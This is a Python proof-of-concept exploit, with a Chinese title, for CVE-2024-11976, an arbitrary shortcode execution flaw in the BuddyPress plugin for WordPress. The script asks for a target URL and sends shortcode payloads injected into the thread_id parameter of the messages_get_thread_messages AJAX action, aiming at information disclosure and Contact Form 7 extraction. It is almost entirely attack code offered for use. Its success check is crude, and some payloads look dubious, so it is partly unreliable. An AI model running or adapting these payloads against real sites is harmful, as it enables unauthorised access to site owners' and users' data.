CVE-2024-11976 WordPress BuddyPress插件任意短代码执行漏洞

# CVE-2024-11976 PoC - BuddyPress Arbitrary Shortcode Execution # This PoC demonstrates the arbitrary shortcode execution vulnerability in BuddyPress <= 14.3.3 import requests import sys target_url = input("Enter target URL: ").rstrip('/') # Target endpoint - BuddyPress messages AJAX handler ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Malicious shortcode payloads payloads = [ # Information disclosure "[wp_privacy_core_table]", # Contact form extraction (if Contact Form 7 is installed) "[contact-form-7 id=\"1\" title=\"Test\"]", # Arbitrary shortcode execution "{[insert page id=1]}", ] headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } for payload in payloads: # Construct the exploit request data = { "action": "messages_get_thread_messages", "thread_id": f"1{payload}", # Inject shortcode in thread_id parameter } try: print(f"[*] Testing payload: {payload}") response = requests.post(ajax_endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response length: {len(response.text)} bytes") # Check for successful exploitation indicators if "form" in response.text.lower() or "table" in response.text.lower(): print("[!] Potential exploitation detected - check response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Note: This is a proof-of-concept. Actual exploitation may vary based on configuration.")